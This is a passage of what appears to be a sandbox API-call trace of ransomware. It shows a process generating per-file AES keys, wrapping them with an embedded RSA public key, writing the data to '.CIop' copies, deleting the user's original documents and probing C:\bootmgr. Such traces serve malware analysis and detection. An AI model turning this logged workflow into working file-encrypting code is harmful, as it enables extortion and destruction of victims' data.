/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0118.044] lstrcpyW (in: lpString1=0x312f368, lpString2="gl54xs.odt" | out: lpString1="gl54xs.odt") returned="gl54xs.odt" [0118.044] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0118.044] SetErrorMode (uMode=0x1) returned 0x1 [0118.045] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt") returned 85 [0118.045] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt", dwFileAttributes=0x20) returned 1 [0118.045] StrStrW (lpFirst="gl54xs.odt", lpSrch=".CIop") returned 0x0 [0118.045] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt.CIop") returned 90 [0118.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\gl54xs.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x660 [0118.046] ReadFile (in: hFile=0x660, lpBuffer=0x2f1c318, nNumberOfBytesToRead=0x138c1, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesRead=0x312e5e8*=0x138c1, lpOverlapped=0x0) returned 1 [0118.047] CloseHandle (hObject=0x660) returned 1 [0118.047] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\gl54xs.odt")) returned 1 [0118.091] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0118.092] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0118.092] SetErrorMode (uMode=0x1) returned 0x1 [0118.092] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67ccd0) returned 1 [0118.094] CryptGenKey (in: hProv=0x67ccd0, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e478) returned 1 [0118.159] CryptExportKey (in: hKey=0x67e478, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0118.159] CryptExportKey (in: hKey=0x67e478, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0118.159] CryptDestroyKey (hKey=0x67e478) returned 1 [0118.159] CryptReleaseContext (hProv=0x67ccd0, dwFlags=0x0) returned 1 [0118.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\gl54xs.odt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64c [0118.160] WriteFile (in: hFile=0x64c, lpBuffer=0x2f1c318*, nNumberOfBytesToWrite=0x138c1, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesWritten=0x312e5d8*=0x138c1, lpOverlapped=0x0) returned 1 [0118.161] SetFilePointer (in: hFile=0x64c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x138c1 [0118.161] WriteFile (in: hFile=0x64c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0118.161] SetFilePointer (in: hFile=0x64c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x138c8 [0118.161] SetErrorMode (uMode=0x1) returned 0x1 [0118.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0118.162] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0118.162] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0118.162] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67c670) returned 1 [0118.162] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67c670, dwCertEncodingType=0x1, pInfo=0x6896e8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e078) returned 1 [0118.162] CryptEncrypt (in: hKey=0x67e078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0118.162] CryptEncrypt (in: hKey=0x67e078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67c6f8*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67c6f8*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0118.162] WriteFile (in: hFile=0x64c, lpBuffer=0x67c6f8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67c6f8*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0118.162] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.163] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.163] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.163] CloseHandle (hObject=0x64c) returned 1 [0118.165] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\gl54xs.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\gl54xs.odt")) returned 0 Thread: id = 235 os_tid = 0xcbc [0128.201] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0128.201] lstrcpyW (in: lpString1=0x312f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0128.201] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0128.201] SetErrorMode (uMode=0x1) returned 0x1 [0128.202] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0128.202] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0128.202] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0128.202] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0128.202] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 236 os_tid = 0x56c [0128.280] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0128.280] lstrcpyW (in: lpString1=0x312f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0128.280] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0128.280] SetErrorMode (uMode=0x1) returned 0x1 [0128.280] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0128.280] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0128.280] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0128.280] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 237 os_tid = 0x9b4 [0138.420] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0138.420] lstrcpyW (in: lpString1=0x312f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0138.420] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0138.420] SetErrorMode (uMode=0x1) returned 0x1 [0138.420] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0138.421] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0138.421] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0138.421] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0138.421] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 238 os_tid = 0x8e0 [0138.504] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0138.504] lstrcpyW (in: lpString1=0x312f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0138.504] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0138.504] SetErrorMode (uMode=0x1) returned 0x1 [0138.504] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0138.504] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0138.505] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0138.505] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 239 os_tid = 0x920 [0148.669] lstrcpyA (in: lpString1=0x53e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0148.669] lstrcpyW (in: lpString1=0x53f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0148.669] lstrcpyW (in: lpString1=0x53f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0148.669] SetErrorMode (uMode=0x1) returned 0x1 [0148.669] wsprintfW (in: param_1=0x53eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0148.669] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0148.670] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0148.670] wsprintfW (in: param_1=0x53e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0148.670] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 240 os_tid = 0x92c [0148.747] lstrcpyA (in: lpString1=0x53e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0148.747] lstrcpyW (in: lpString1=0x53f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0148.747] lstrcpyW (in: lpString1=0x53f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0148.747] SetErrorMode (uMode=0x1) returned 0x1 [0148.747] wsprintfW (in: param_1=0x53eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0148.747] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0148.748] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0148.748] wsprintfW (in: param_1=0x53e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 241 os_tid = 0xb70 [0158.893] lstrcpyA (in: lpString1=0x53e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0158.893] lstrcpyW (in: lpString1=0x53f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0158.894] lstrcpyW (in: lpString1=0x53f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0158.894] SetErrorMode (uMode=0x1) returned 0x1 [0158.894] wsprintfW (in: param_1=0x53eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0158.894] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0158.894] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0158.894] wsprintfW (in: param_1=0x53e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0158.894] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 242 os_tid = 0xbac [0158.972] lstrcpyA (in: lpString1=0x53e5f8, lpString2="-----BEGIN PUBLIC KEY----- 